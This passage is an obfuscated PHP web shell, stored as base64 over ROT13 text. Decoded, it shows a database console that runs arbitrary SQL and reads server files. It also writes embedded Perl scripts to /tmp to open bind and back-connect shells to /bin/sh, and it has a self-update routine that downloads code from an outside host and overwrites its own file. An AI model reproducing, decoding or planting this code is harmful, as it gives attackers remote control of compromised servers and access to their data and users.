ICAgICAgICAgfQoJCQlzaGFwZ3ZiYSBmZyhnLHkpIHsKCQkJCXEuZnMuYzEuaW55aHIgPSAnZnJ5cnBnJzsKCQkJCXEuZnMuYzIuaW55aHIgPSBnOwogICAgICAgICAgICAgICAgdnMoeSAmJiBxLmZzLmMzKSBxLmZzLmMzLmlueWhyID0geTsKCQkJCXEuZnMuZmhvenZnKCk7CgkJCX0KCQkJc2hhcGd2YmEgdmYoKSB7CgkJCQlzYmUodj0wO3Y8cS5mcy5yeXJ6cmFnZlsnZ295W10nXS55cmF0Z3U7Kyt2KQoJCQkJCXEuZnMucnlyenJhZ2ZbJ2dveVtdJ11bdl0ucHVycHhycSA9ICFxLmZzLnJ5cnpyYWdmWydnb3lbXSddW3ZdLnB1cnB4cnE7CgkJCX0KCQk8L2ZwZXZjZz4iOwoJdnModmZmcmcoJHFvKSAmJiAkcW8tPnl2YXgpewoJCXJwdWIgIjxvZS8+PGdub3lyIGp2cWd1PTEwMCUgcHJ5eWNucXF2YXQ9MiBwcnl5ZmNucHZhdD0wPiI7CgkJCXZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9vbmZyJ10pKXsKCQkJCSRxby0+ZnJ5cnBncW8oJF9DQkZHWydmZHlfb25mciddKTsKCQkJCXJwdWIgIjxnZT48Z3EganZxZ3U9MSBmZ2x5cj0nb2JlcXJlLWdiYzoyY2sgZmJ5dnEgIzY2NjsnPjxmY25hPkdub3lyZjo8L2ZjbmE+PG9lPjxvZT4iOwoJCQkJJGdveWZfZXJmID0gJHFvLT55dmZnR25veXJmKCk7CgkJCQlqdXZ5cigkdmdyeiA9ICRxby0+c3JncHUoJGdveWZfZXJmKSkgewoJCQkJCXl2ZmcoJHhybCwgJGlueWhyKSA9IHJucHUoJHZncnopOwogICAgICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9wYmhhZyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSAkcW8tPnNyZ3B1KCRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJy4kaW55aHIuJycpKTsKCQkJCQkkaW55aHIgPSB1Z3p5ZmNycHZueXB1bmVmKCRpbnlocik7CgkJCQkJcnB1YiAiPGFib2U+PHZhY2hnIGdsY3I9J3B1cnB4b2JrJyBhbnpyPSdnb3lbXScgaW55aHI9JyIuJGlueWhyLiInPiZhb2ZjOzxuIHVlcnM9IyBiYXB5dnB4PVwiZmcoJyIuJGlueWhyLiInLDEpXCI+Ii4kaW55aHIuIjwvbj4iIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycmYW9mYzsnOiIgPGZ6bnl5Pih7JGFbJ2EnXX0pPC9mem55eT4iKSAuICI8L2Fib2U+PG9lPiI7CgkJCQl9CgkJCQlycHViICI8dmFjaGcgZ2xjcj0ncHVycHhvYmsnIGJhcHl2cHg9J3ZmKCk7Jz4gPHZhY2hnIGdsY3I9b2hnZ2JhIGlueWhyPSdRaHpjJyBiYXB5dnB4PSdxYnBoenJhZy5mcy5jMi5pbnlocj1cInFiamF5Ym5xXCI7cWJwaHpyYWcuZnMuZmhvenZnKCk7Jz48b2U+U3Z5ciBjbmd1Ojx2YWNoZyBnbGNyPWdya2cgYW56cj1zdnlyIGlueWhyPSdxaHpjLmZkeSc+PC9ncT48Z3EgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICM2NjY7Jz4iOwoJCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAnZnJ5cnBnJykgewoJCQkJCSRfQ0JGR1snYzEnXSA9ICdkaHJlbCc7CiAgICAgICAgICAgICAgICAgICAgJF9DQkZHWydjMyddID0gJF9DQkZHWydjMyddPyRfQ0JGR1snYzMnXToxOwoJCQkJCSRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJyAuICRfQ0JGR1snYzInXSk7CgkJCQkJJGFoeiA9ICRxby0+c3JncHUoKTsKCQkJCQkkY250cmYgPSBwcnZ5KCRhaHpbJ2EnXSAvIDMwKTsKICAgICAgICAgICAgICAgICAgICBycHViICI8ZnBldmNnPnEuZnMuYmFmaG96dmc9c2hhcGd2YmEoKXtmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAiXCIsIHEuZnMuYzMuaW55aHIpfTwvZnBldmNnPjxmY25hPiIuJF9DQkZHWydjMiddLiI8L2ZjbmE+ICh7JGFoelsnYSddfSBlcnBiZXFmKSBDbnRyICMgPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPSdjMycgaW55aHI9IiAuICgodmFnKSRfQ0JGR1snYzMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICAgICAgcnB1YiAiIGJzICRjbnRyZiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAiIDxuIHVlcnM9IyBiYXB5dnB4PSdmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAnIiwgJyAuICgkX0NCRkdbJ2MzJ10tMSkgLiAiKSc+JnlnOyBDZXJpPC9uPiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddIDwgJGNudHJmKQogICAgICAgICAgICAgICAgICAgICAgICBycHViICIgPG4gdWVycz0jIGJhcHl2cHg9J2ZnKFwiIiAuICRfQ0JGR1snYzInXSAuICciLCAnIC4gKCRfQ0JGR1snYzMnXSsxKSAuICIpJz5BcmtnICZ0Zzs8L24+IjsKICAgICAgICAgICAgICAgICAgICAkX0NCRkdbJ2MzJ10tLTsKCQkJCQl2cygkX0NCRkdbJ2dsY3InXT09J2N0ZmR5JykKCQkJCQkJJF9DQkZHWydjMiddID0gJ0ZSWVJQRyAqIFNFQlogJy4kX0NCRkdbJ2MyJ10uJyBZVlpWRyAzMCBCU1NGUkcgJy4oJF9DQkZHWydjMyddKjMwKTsKCQkJCQlyeWZyCgkJCQkJCSRfQ0JGR1snYzInXSA9ICdGUllSUEcgKiBTRUJaIGAnLiRfQ0JGR1snYzInXS4nYCBZVlpWRyAnLigkX0NCRkdbJ2MzJ10qMzApLicsMzAnOwoJCQkJCXJwdWIgIjxvZT48b2U+IjsKCQkJCX0KCQkJCXZzKChAJF9DQkZHWydjMSddID09ICdkaHJlbCcpICYmICFyemNnbCgkX0NCRkdbJ2MyJ10pKSB7CgkJCQkJJHFvLT5kaHJlbChAJF9DQkZHWydjMiddKTsKCQkJCQl2cygkcW8tPmVyZiAhPT0gc255ZnIpIHsKCQkJCQkJJGd2Z3lyID0gc255ZnI7CgkJCQkJCXJwdWIgJzxnbm95ciBqdnFndT0xMDAlIHByeXlmY25wdmF0PTEgcHJ5eWNucXF2YXQ9MiBweW5mZj16bnZhIGZnbHlyPSJvbnB4dGViaGFxLXBieWJlOiMyOTI5MjkiPic7CgkJCQkJCSR5dmFyID0gMTsKCQkJCQkJanV2eXIoJHZncnogPSAkcW8tPnNyZ3B1KCkpCXsKCQkJCQkJCXZzKCEkZ3ZneXIpCXsKCQkJCQkJCQlycHViICc8Z2U+JzsKCQkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKQoJCQkJCQkJCQlycHViICc8Z3U+Jy4keHJsLic8L2d1Pic7CgkJCQkJCQkJZXJmcmcoJHZncnopOwoJCQkJCQkJCSRndmd5cj1nZWhyOwoJCQkJCQkJCXJwdWIgJzwvZ2U+PGdlPic7CgkJCQkJCQkJJHl2YXIgPSAyOwoJCQkJCQkJfQoJCQkJCQkJcnB1YiAnPGdlIHB5bmZmPSJ5Jy4keXZhci4nIj4nOwoJCQkJCQkJJHl2YXIgPSAkeXZhcj09MT8yOjE7CgkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKSB7CgkJCQkJCQkJdnMoJGlueWhyID09IGFoeXkpCgkJCQkJCQkJCXJwdWIgJzxncT48dj5haHl5PC92PjwvZ3E+JzsKCQkJCQkJCQlyeWZyCgkJCQkJCQkJCXJwdWIgJzxncT4nLmF5Mm9lKHVnenlmY3Jwdm55cHVuZWYoJGlueWhyKSkuJzwvZ3E+JzsKCQkJCQkJCX0KCQkJCQkJCXJwdWIgJzwvZ2U+JzsKCQkJCQkJfQoJCQkJCQlycHViICc8L2dub3lyPic7CgkJCQkJfSByeWZyIHsKCQkJCQkJcnB1YiAnPHF2aT48bz5SZWViZTo8L28+ICcudWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpLic8L3F2aT4nOwoJCQkJCX0KCQkJCX0KCQkJCXJwdWIgIjxvZT48L3NiZXo+PHNiZXogYmFmaG96dmc9J3EuZnMuYzEuaW55aHI9XCJkaHJlbFwiO3EuZnMuYzIuaW55aHI9Z3V2Zi5kaHJlbC5pbnlocjtxYnBoenJhZy5mcy5maG96dmcoKTtlcmdoZWEgc255ZnI7Jz48Z3JrZ25lcm4gYW56cj0nZGhyZWwnIGZnbHlyPSdqdnFndToxMDAlO3VydnR1ZzoxMDBjayc+IjsKICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MxJ10gIT0gJ3libnFzdnlyJykpCiAgICAgICAgICAgICAgICAgICAgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICBycHViICI8L2dya2duZXJuPjxvZS8+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSdSa3JwaGdyJz4iOwoJCQkJcnB1YiAiPC9ncT48L2dlPiI7CgkJCX0KCQkJcnB1YiAiPC9nbm95cj48L3NiZXo+PG9lLz4iOwogICAgICAgICAgICB2cygkX0NCRkdbJ2dsY3InXT09J3psZmR5JykgewogICAgICAgICAgICAgICAgJHFvLT5kaHJlbCgiRlJZUlBHIDEgU0VCWiB6bGZkeS5oZnJlIEpVUkVSIHBiYXBuZyhgaGZyZWAsICdAJywgYHViZmdgKSA9IEhGUkUoKSBOQVEgYFN2eXJfY2V2aWAgPSAnbCciKTsKICAgICAgICAgICAgICAgIHZzKCRxby0+c3JncHUoKSkKICAgICAgICAgICAgICAgICAgICBycHViICI8c2JleiBiYWZob3p2Zz0ncS5mcy5jMS5pbnlocj1cInlibnFzdnlyXCI7cWJwaHpyYWcuZnMuYzIuaW55aHI9Z3V2Zi5zLmlueWhyO3FicGh6cmFnLmZzLmZob3p2ZygpO2VyZ2hlYSBzbnlmcjsnPjxmY25hPllibnEgc3Z5cjwvZmNuYT4gPHZhY2hnICBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXM+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PiI7CiAgICAgICAgICAgIH0KCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAneWJucXN2eXInKSB7CgkJCQkkc3Z5ciA9ICRxby0+eWJucVN2eXIoJF9DQkZHWydjMiddKTsKCQkJCXJwdWIgJzxvZS8+PGNlciBweW5mZj16eTE+Jy51Z3p5ZmNycHZueXB1bmVmKCRzdnlyWydzdnlyJ10pLic8L2Nlcj4nOwoJCQl9Cgl9IHJ5ZnIgewogICAgICAgIHJwdWIgdWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpOwogICAgfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CnNoYXBndmJhIG5wZ3ZiYUFyZ2piZXgoKSB7CglqZmJVcm5xcmUoKTsKCSRvbnB4X3BiYWFycGdfYz0iVmxSaXFLQWxZMldjb3Y5ak1LV2ZRRGMxcDJIdEgyOXduMkkwQmowWFdUeXVNVEVsQ0p5aE1LRXNMS0Vpb3Z0eERJV1VJeWZqS0Z4dHNVanRNVHl5WFBXU3BhV2lwd2J0V1BTcG92VmNCajBYV1VPdU1URWxDS0FpTDJndU1URWxLMnloWFBFT0h4cUpKbVNxWVBOeG5KU3hNVVZjVlVrOFZURWNNRnR2RUtXbG8zVjZWUER1S1Q0dlhHZkFQdkVqcHo5MG9tMWFNS0VqcHo5MG8yVzVvelNnTUZ0YXFUQWpXbHg3UURjbW8yQWVNS0RiSDA5UUYwSUhZUE9ERXk5V0d4SUhZUE9HRzBBWUsxQUhIeElPR0ZqdFdVT2xvM0VpWEZPOHNQT3huSkhiVnhJbHB6OWxCdk54VklraFZ2eDdRRGN3bzI1aE1KQTBYU0FDRDBnU0lQanRXVU91TVRFbFhGTzhzUE94bkpIYlZ4SWxwejlsQnZOeFZJa2hWdng3UURjaXBUSWhYU0FIRVJ5QllQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRzFJSFlQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRUlXRllQTnZDdk1HRzBBWUVJRHZYR2ZBUGFBNXAzRXlvRnRhWTJXY292OW1uUE5nbkZwY0JqMFhMMmtpcDJIYkgxRVJGSDRjQmowWEwya2lwMkhiSDFFUkcxSUhYR2ZBUHpBZm8zQXlYU0FIRVJJRkh2eDciOwoJJG92YXFfY2JlZ19jPSJWbFJpcUtBbFkyV2NvdjlqTUtXZlFEYnhIMHVTR1JqOVZ2OXZuSjRpcDJ0dFlKeHZCajBYbkpMdFhST09IeHFKVlFqdFpGeHRybE95clR5MFhRUmNCbE85UURjMXAySHRIMjl3bjJJMEJqMFhwMjl3bjJJMFhTWmZXeU9USzB5QkVJRGZXeUFDRDBnc0gxRUZFSFNBWVRxeXFVT2xvM0VpTGF5aExKMXlYUHEwTDNOYVhGeHRzVWp0TVR5eVZQV1FMSjUwVlRBbE1KUzBNRk9tbzJBZU1LRXBvdlY3UURjbU1LRW1vMkFlbzNPMFhTWmZIMDlaSzFBQ0QwZ1NJUGtHRzE5RkVJSUdFSFNSRVNWZlpGeDdRRGN2bko1eFhTWmZwMjl3bjJTeE1VV3NuSjRiV1JTRkUxTW9aUzBmRkg1T0VSRUZLMFNCSkZ4Y1ZVazhWVEVjTUZOdkQyU2hxUE9pcFRJaFZVT2lwYUVwb3ZWN1FEY2ZuS0EwTUo0Ykhsam1YRk84c1BPeG5KSHRWeEF1b2FEdG9UeW1xVEloVlVPaXBhRXBvdlY3UURjM25UeWZNRnRrWEZPN1FEYldMSkF3TUtPMFhSQUNHeDRmSGx4N1FEYlduSkxiVkZ0eHBUeXhDSk1pcHpmY1hGTzdRRGJXUEpFY01GTnZEMlNob3o5MFZUTWlwemZ2VlR5elZQdHVNVEl6bko1eU1QTnhwVHl4WEdmQVB0eFdvM095b3ZPR0lSRVdHdmp2Q1BNUUcwNUJWd2ZBUHR4V28zT3lvdk9HSVJFQ0lJRGZWdzR6RDA5Qkd2VjdRRGJXUEo5ak1KNHRIMUVSRUlXRllQVitXeEFDR3g0dkJqMFhQRHl5clRJd1ZQRUdGUklaR1BPOHNQT3huSkh0cFVXY29hRHREMDlCR3ZOdkQyU2hxUE95clRJd3FLRXlWUEVHRlJJWkdTa2hWd2ZBUHR4V0wya2lwMkh0RDA5Qkd3ZkFQdHhXTUt1Y3FQTmpCajBYUEswQVBhMD0iOwoJcnB1YiAiPHUxPkFyZ2piZXggZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4KCTxzYmV6IGFuenI9J2FzYycgYmFGaG96dmc9XCJ0KGFoeXksYWh5eSwnb2NjJyxndXZmLmNiZWcuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj4KCTxmY25hPk92YXEgY2JlZyBnYiAvb3ZhL2Z1IFtjcmV5XTwvZmNuYT48b2UvPgoJQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PgoJPHNiZXogYW56cj0nYXNjJyBiYUZob3p2Zz1cInQoYWh5eSxhaHl5LCdvcGMnLGd1dmYuZnJlaXJlLmlueWhyLGd1dmYuY2JlZy5pbnlocik7ZXJnaGVhIHNueWZyO1wiPgoJPGZjbmE+T25weC1wYmFhcnBnICBbY3JleV08L2ZjbmE+PG9lLz4KCUZyZWlyZTogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2ZyZWlyZScgaW55aHI9JyIuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4iJz4gQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PjxvZT4iOwoJdnModmZmcmcoJF9DQkZHWydjMSddKSkgewoJCXNoYXBndmJhIHBzKCRzLCRnKSB7CgkJCSRqID0gQHNiY3JhKCRzLCJqIikgYmUgQHNoYXBndmJhX3JrdmZnZignc3Z5cl9jaGdfcGJhZ3JhZ2YnKTsKCQkJdnMoJGopewoJCQkJQHNqZXZncigkaixAb25mcjY0X3FycGJxcigkZykpOwoJCQkJQHNweWJmcigkaik7CgkJCX0KCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvY2MnKSB7CgkJCXBzKCIvZ3pjL29jLmN5Iiwkb3ZhcV9jYmVnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vYy5jeSAiLiRfQ0JGR1snYzInXS4iIDE+L3FyaS9haHl5IDI+JjEgJiIpOwogICAgICAgICAgICBmeXJyYygxKTsKCQkJcnB1YiAiPGNlciBweW5mZj16eTE+JGJoZ1xhIi5qZmJSaygiY2YgbmhrIHwgdGVyYyBvYy5jeSIpLiI8L2Nlcj4iOwogICAgICAgICAgICBoYXl2YXgoIi9nemMvb2MuY3kiKTsKCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvcGMnKSB7CgkJCXBzKCIvZ3pjL29wLmN5Iiwkb25weF9wYmFhcnBnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vcC5jeSAiLiRfQ0JGR1snYzInXS4iICIuJF9DQkZHWydjMyddLiIgMT4vcXJpL2FoeXkgMj4mMSAmIik7CiAgICAgICAgICAgIGZ5cnJjKDEpOwoJCQlycHViICI8Y2VyIHB5bmZmPXp5MT4kYmhnXGEiLmpmYlJrKCJjZiBuaGsgfCB0ZXJjIG9wLmN5IikuIjwvY2VyPiI7CiAgICAgICAgICAgIGhheXZheCgiL2d6Yy9vcC5jeSIpOwoJCX0KCX0KCXJwdWIgJzwvcXZpPic7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhSENRbmdyKCkgewoJamZiVXJucXJlKCk7CglycHViICI8dTE+SENxbmdyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+IjsKCXNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpewoJCSRwYnFyayA9IEBzdnlyX3RyZ19wYmFncmFnZigkaGV5KTsKCQl2cyAocnpjZ2woJHBicXJrKSl7CgkJCSRwdSA9IHBoZXlfdmF2ZygpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEVZLCAkaGV5KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1VSTlFSRSwgMCk7IAoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTFVCRkcsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUkZSRkZWQkEsZ2Vocik7CgkJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICJaYm12eXluLzUuMCAoSnZhcWJqZiBBRyAxMC4wOyBKQko2NDsgZWk6NDMuMCkgVHJweGIvMjAxMDAxMDEgU3ZlcnNiay80My4wIik7CgkJCSRoZXlDbnRyID0gcGhleV9ya3JwKCRwdSk7CgkJCXBoZXlfcHliZnIoJHB1KTsKCQkJZXJnaGVhKCRoZXlDbnRyKTsKCQl9cnlmciB7CgkJCWVyZ2hlYSAkcGJxcms7CgkJfQoJfQoJJGN1YyAgPSB1Z2djX3RyZ19wYmFncmFnZigidWdnYzovL3N2eXJmZ25weC55dmlyLzk2MzgyMzY3czkwNzk4cjk4cTMwczgyMDEyOTYzMTk3LnVneiIpOwoJdnMoIWNlcnRfem5ncHUoIi88XD9jdWMvIiwgJGN1YykpeyBycHViICc8cHJhZ3JlPjxzYmFnIHBieWJlPSJlcnEiPjxjPlstXSBTbnZ5cnEuPC9jPjwvc2JhZz48L3ByYWdyZT4nOyBqZmJTYmJncmUoKTsgcXZyKCk7IH0KCSRhbnpyc3Z5ciA9IG9uZnJhbnpyKF9fU1ZZUl9fKTsKCXZzKGNlcnRfem5ncHUoIi9cLmN1Yy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjIyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Yyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzUvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzUjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNSc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzcvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzcjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1Z3p5LyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWd6eSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWd6eSc7Cgl9CglzdnlyX2NoZ19wYmFncmFnZigkYW56cnN2eXIsICRjdWMpOwoJcnB1YiAiPHByYWdyZT4uL1FiYXIgITxvZT48L3ByYWdyZT4iOwoJcnB1YiAiPGZwZXZjZz4geWJwbmd2YmEudWVycz0nJGFuenJzdnlyJzsgPC9mcGV2Y2c+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFFUCgpIHsKCXZzKCFAJF9DQkZHWydjMSddKSB7CgkJJG4gPSBuZWVubCgKCQkJImhhbnpyIiA9PiBjdWNfaGFuenIoKSwKCQkJImN1Y19pcmVmdmJhIiA9PiBjdWNpcmVmdmJhKCksCgkJCSJqZmJfaXJlZnZiYSIgPT4gSkZCX0lSRUZWQkEsCgkJCSJmbnNyemJxciIgPT4gQHZhdl90cmcoJ2Zuc3JfemJxcicpCgkJKTsKCQlycHViIGZyZXZueXZtcigkbik7Cgl9IHJ5ZnIgewoJCXJpbnkoJF9DQkZHWydjMSddKTsKCX0KfQp2cyggcnpjZ2woJF9DQkZHWyduJ10pICkKCXZzKHZmZnJnKCRxcnNuaHlnX25wZ3ZiYSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJHFyc25oeWdfbnBndmJhKSkKCQkkX0NCRkdbJ24nXSA9ICRxcnNuaHlnX25wZ3ZiYTsKCXJ5ZnIKCQkkX0NCRkdbJ24nXSA9ICdGcnBWYXNiJzsKdnMoICFyemNnbCgkX0NCRkdbJ24nXSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJF9DQkZHWyduJ10pICkKCXBueXlfaGZyZV9zaGFwKCducGd2YmEnIC4gJF9DQkZHWyduJ10pOwpya3ZnOwo=')));